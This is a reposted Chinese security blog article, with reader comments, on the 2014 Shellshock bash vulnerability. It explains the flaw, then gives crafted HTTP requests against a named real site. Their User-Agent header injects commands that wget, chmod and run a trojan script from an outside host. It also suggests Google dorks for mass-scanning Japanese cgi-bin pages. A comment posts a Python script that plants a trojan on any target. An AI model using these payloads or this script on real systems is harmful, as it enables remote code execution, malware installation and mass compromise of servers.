CVE漏洞中文网

0DayBank一个专门收集整理全球互联网漏洞的公开发布网站
  1. 首页
  2. 百科
  3. 正文

bash 漏洞

2017年5月20日 2059点热度 0人点赞 0条评论
  • 首页
  • 分类阅读
  • 文库
  • 专栏
  • 公开课
  • 商城
  • 漏洞盒子
注册 | 登录
投稿

Bash远程解析命令执行漏洞测试方法

wivndf2014-09-26+10共618820人围观 ,发现 22 个不明物体WEB安全漏洞

从昨天开始,这个从澳大利亚远渡重洋而来的BASH远程命令执行漏洞就沸腾了整个FreeBuf,大家都在谈论,“互联网的心脏又出血了”,可是,亲,到底怎么对网站进行测试?下面这段脚本

$ env x=‘() { :;}; echo vulnerable'  bash -c "echo this is a test"

真的如各路大神们说的这样吗?

它与“心脏出血”漏洞不同,“心脏出血”只能借助窃取用户电脑信息,而bash 漏洞允许黑客远程控制电脑,拿到系统最高权限!其方法利用就更简单了——复制/粘贴一行命令代码即可!

Bash漏洞为什么能够执行

Bash漏洞的原理:

BASH除了可以将shell变量导出为环境变量,还可以将shell函数导出为环境变量!当前版本的bash通过以函数名作为环境变量名,以“(){”开头的字串作为环境变量的值来将函数定义导出为环境变量。

此次爆出的漏洞在于BASH处理这样的“函数环境变量”的时候,并没有以函数结尾“}”为结束,而是一直执行其后的shell命令。

简单地说就是,Bash脚本在解析某些特殊字符串时出现逻辑错误导致可以执行后面的命令。

Bash漏洞与远程执行有啥联系

看到上面的解释,很多童鞋都理解成了本地的漏洞,然后很多人又觉得,本地有啥可以利用的,于是就忽略了这个神级漏洞的存在。我想说的是,这个漏洞,利用热度可以媲美当年的MS08-067,威力虽然弱了点,但远程控制电脑还是可以的。

首先解释一下cgi脚本。很多网站类似下面的链接:

GET http://help.tenpay.com/cgi-bin/helpcenter/help_center.cgi?id=20HTTP/1.1

后台不仅仅用python、Perl来解释执行并反馈给客户端Response,当然还可以换做bash脚本来解释执行提交上来的GET/POST请求。所以,理论上,你在HTTP请求中插入一个Bash命令,比如

() { :;}; wget http://www.myvps.org/testvul.sh

如果服务器的Bash解释器具有这个漏洞,那么在解释上面这这句话的时候就会执行wget请求,将一个恶意的testvul.sh文件下载到这个服务器,那为何说要放在HTTP头部呢?比如:

GET /cgi-bin/helpcenter/help_center.cgi?id=20 HTTP/1.1 
Host: help.tenpay.com 
User-Agent: Mozilla/5.0 (X11; Ubuntu; rv:32.0) Gecko/20100101 Firefox/32.0 
Accept: */*
Referer: http://www.baidu.com
Connection: keep-alive

这是因为这个漏洞是bash解释器在解释某些特殊的变量时才可以触发的:

在于BASH处理以“(){”开头的“函数环境变量”的时候,并没有以函数结尾“}”为结束,而是一直执行其后的shell命令

通过自定义这些参数的值为“函数环境变量”的形式,就可以触发后面的命令,恶意的客户仅需要发送特殊构造的HTTP请求就可以使服务器执行特定的命令(命令的权限和解释HTTP请求的Bash脚本环境相同)。

实际测试中,我的构造的测试请求:

GET /cgi-bin/helpcenter/help_center.cgi?id=20 HTTP/1.1 
Host: help.tenpay.com 
User-Agent: () { :;}; /usr/bin/wget http://myvps.org/remember_client_ip.php
Accept: */*
Referer: http://www.baidu.com
Connection: keep-alive

过程是这样的:

我发送GET请求–>目标服务器cgi路径

目标服务器解析这个get请求,碰到UserAgent后面的参数,Bash解释器就执行了后面的命令

目标服务器wget–>我的myvps.org

我的vps记录下这个访问的IP地址

然后查看我的myvps.org服务器的访问记录,就可以确定目标有没有去访问,如果访问了,那么,很好,它是有漏洞的。下面是我的VPS接收到的wget请求访问的日志:

大神是这样测试漏洞的

当然,你也可以这样构造:

GET /cgi-bin/helpcenter/help_center.cgi?id=20 HTTP/1.1 
Host: help.tenpay.com 
User-Agent: () { :;}; /usr/bin/wget -O /tmp/muma.sh   ;chmod 777 /tmp/muma.sh; ./tmp/muma.sh
Accept: */*
Referer: http://www.baidu.com
Connection: keep-alive

实际上执行了下面三句:

/usr/bin/wget -O /tmp/muma.sh  http://myvps.org/muma.sh ;
chmod 777 /tmp/muma.sh; 
./tmp/muma.sh

你会发现,脚本就执行了,这就是Bash漏洞利用测试的精髓。

当然,你可以利用批量Google搜索:

filetype:cgi inurl:cgi-bin site:jp

然后批量提交类似的GET请求,你就能做到批量测试了。测试表明,500个url里有6-8个有bash漏洞

wivndf

wivndf1 篇文章等级: 1级
|
|
  • 上一篇:Bash漏洞报道:初步补丁并不完整
  • 下一篇:Bash漏洞引发僵尸网络狂欢

这些评论亮了

  • timlover(1级)回复
    写了个python 版本的 。
    #!/usr/bin/python
    # coding=UTF-8
    __author__ = 'Andy'
    import requests
    import sys
    try:
    if sys.argv[1] == '--help':
    print 'usage : python test.py http://mydomain.com trojan.sh http://target.com'
    exit(1)
    except IndexError:
    print 'usage : python test.py http://mydomain.com trojan.sh http://target.com'
    exit(1)
    headers = {
    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
    'Accept-Encoding': 'gzip,deflate,sdch',
    'Accept-Language': 'zh-CN,zh;q=0.8,gl;q=0.6,zh-TW;q=0.4',
    'Cache-Control': 'no-cache',
    'Connection': 'keep-alive',
    'Referrer' : '10001.qzone.qq.com',
    'User-Agent': '() { :; }; /usr/bin/wget '+sys.argv[1]+'/'+sys.argv[2]+' -O /tmp/'+sys.argv[2]+' | /bin/chmod 777 /tmp/'+sys.argv[2]+' | /tmp/'+sys.argv[2]+''
    }
    try:
    res = requests.get(sys.argv[3], headers=headers, timeout=10)
    except ConnectionError:
    print 'DNS 查询失败'
    except HTTPError:
    print 'DNS 查询失败'
    except Timeout:
    print '服务器响应超时'
    except TooManyRedirects:
    print '超过了设定的最大重定向次数'

    if res.status_code == 200:
    print '植入木马已经完成, 请检查您的服务器下载记录'

    )20(亮了
发表评论

已有 22 条评论

  • mmtt (4级) 2014-09-26回复1楼

    干货终于现身了。想问下,批量提交类似的GET请求,是如何做到的。

    亮了(2)
    • wivndf (1级)我是白帽子,我是白帽子。 2014-09-26回复

      @mmtt  http://p2j.cn/?p=1495

      亮了(0)
    • wivndf (1级)我是白帽子,我是白帽子。 2014-09-26回复

      @mmtt  http://p2j.cn/?p=1495只能帮你到这了。

      亮了(4)
  • MeirLin (5级)研表究明,汉字的序顺并不定一能影阅响读,比如当你看完这句话后... 2014-09-26回复2楼

    site:jp :lol:

    亮了(3)
  • taylorwin (5级) 2014-09-26回复3楼

    学习了

    亮了(1)
  • vvv 2014-09-26回复4楼

    这个可以干爬不少perl,做得网站,鬼子用得多是吧。php类型的,如果没有system这些系统执行命令,问题应该不大吧

    亮了(0)
  • ha3ky0u (1级) 2014-09-26回复5楼

    site:jp :eek:

    亮了(0)
  • timlover (1级) 2014-09-26回复6楼

    写了个python 版本的 。

    #!/usr/bin/python
    # coding=UTF-8
    __author__ = ‘Andy’

    import requests
    import sys

    try:
    if sys.argv[1] == ‘–help’:
    print ‘usage : python test.py http://mydomain.com trojan.sh http://target.com’
    exit(1)
    except IndexError:
    print ‘usage : python test.py http://mydomain.com trojan.sh http://target.com’
    exit(1)

    headers = {
    ‘Accept’: ‘text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8′,
    ‘Accept-Encoding’: ‘gzip,deflate,sdch’,
    ‘Accept-Language’: ‘zh-CN,zh;q=0.8,gl;q=0.6,zh-TW;q=0.4′,
    ‘Cache-Control’: ‘no-cache’,
    ‘Connection’: ‘keep-alive’,
    ‘Referrer’ : ’10001.qzone.qq.com’,
    ‘User-Agent’: ‘() { :; }; /usr/bin/wget ‘+sys.argv[1]+’/'+sys.argv[2]+’ -O /tmp/’+sys.argv[2]+’ | /bin/chmod 777 /tmp/’+sys.argv[2]+’ | /tmp/’+sys.argv[2]+”
    }

    try:
    res = requests.get(sys.argv[3], headers=headers, timeout=10)
    except ConnectionError:
    print ‘DNS 查询失败’
    except HTTPError:
    print ‘DNS 查询失败’
    except Timeout:
    print ‘服务器响应超时’
    except TooManyRedirects:
    print ‘超过了设定的最大重定向次数’

    if res.status_code == 200:
    print ‘植入木马已经完成, 请检查您的服务器下载记录’

    亮了(20)
  • mmtt (4级) 2014-09-26回复7楼

    都是大牛来的啊

    亮了(0)
  • bigjj (1级) 2014-09-26回复8楼

    听说redhat表示发的补丁 不周全,还是存在一些问题,该问题已经重新定义为CVE-2014-7169了

    亮了(1)
  • aaa 2014-09-26回复9楼

    大神,我在服务器看你wget myvps.org 的进程,可惜那个服务器不能外联,顺便说说利用不是这么简单的,情况很多种,目前看来还没有通用的方法和方式

    亮了(2)
  • Xarray (4级) 2014-09-26回复10楼

    debian !!!

    亮了(0)
  • 火志溟 2014-09-26回复11楼

    真狠。

    亮了(0)
  • 刘月京 2014-09-26回复12楼

    厉害

    亮了(0)
  • Aurora (4级) 2014-09-26回复13楼

    我就看看不说话。

    亮了(0)
  • xin-laolong已经被注册 2014-09-26回复14楼

    谁贴个能用的jp站点

    亮了(0)
  • JDI (1级) 2014-09-27回复15楼

    楼主忘说了,CGI标准规定了很多HTTP 参数通过环境变量传递

    亮了(1)
    • wivndf 2014-09-28回复

      @JDI  恩,你补充的是关键点所在。感谢提醒~~

      亮了(0)
  • qiuxuming (1级) 2014-09-28回复16楼

    通过bash漏洞,结合cgi-bin,插入一句话木马,然后用菜刀连接一句话木马。然后。。。。。。

    亮了(0)
  • 无丶花 (2级)FB客服MM的男朋友。 2014-09-28回复17楼

    是时候带动一拨儿节奏了!!!!

    亮了(1)
  • devi (1级) 2014-09-29回复18楼

    这个方法不是很合适,因为在实际测试的时候,对方域名的IP与它发起wget请求出去的IP不是同一个IP,这样即使你在vps服务器上记录下一堆IP地址,也没法判断是哪个链接存在漏洞

    亮了(4)
  • 谱写 (1级) 2014-10-17回复19楼

    都是大神的节奏

    亮了(0)

必须您当前尚未登录。登陆?注册

必须(保密)

表情插图

取消

wivndf

wivndf

我是白帽子,我是白帽子。

1 篇文章3 条评论

相关阅读

  • Bash漏洞引发僵尸网络狂欢
  • 威胁远胜“心脏出血”?国外新爆Bash高危安全漏洞
  • 正确姿势:如何调戏蹭网者
  • 浅析白盒审计中的字符编码及SQL注入
  • 手把手教你解密MacOS平台下的Chrome密码

特别推荐

关注我们 分享每日精选文章

不容错过

  • 【更新支付宝回应】风控缺陷?支付宝曝“致命”漏洞,他人能改你的密码kuma2017-01-10
  • 移位溢注:告别靠人品的偏移注入SeagullGR2017-03-02
  • 一分钟看完本周「BUF大事件」(20160618-0624)supercoco2016-06-25
  • SIM卡安全lu4nx2012-07-12

FREEBUF

  • 免责声明
  • 关于我们
  • 加入我们

广告及服务

  • 寻求报道
  • 广告合作
  • 联系我们
  • 友情链接

关注我们

  • 官方微信
  • 新浪微博
  • 腾讯微博
  • Twitter

赞助商

Copyright © 2013 WWW.FREEBUF.COM All Rights Reserved 沪ICP备13033796号

css.php

正在加载中...

0day

标签: 暂无
最后更新:2017年5月20日

小助手

这个人很懒,什么都没留下

点赞
< 上一篇
下一篇 >

文章评论

您需要 登录 之后才可以评论

COPYRIGHT © 2024 www.pdr.cn CVE漏洞中文网. ALL RIGHTS RESERVED.

鲁ICP备2022031030号

联系邮箱:wpbgssyubnmsxxxkkk@proton.me